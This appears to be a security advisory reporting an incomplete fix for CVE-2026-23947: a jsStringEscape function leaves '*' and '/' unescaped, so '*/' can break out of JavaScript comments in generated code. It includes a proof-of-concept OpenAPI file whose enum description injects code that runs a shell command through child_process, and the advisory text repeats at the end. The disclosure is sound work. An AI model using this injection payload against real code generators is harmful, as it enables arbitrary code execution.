CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
- "pwned */ }; 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const a = { /*"
References
CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
References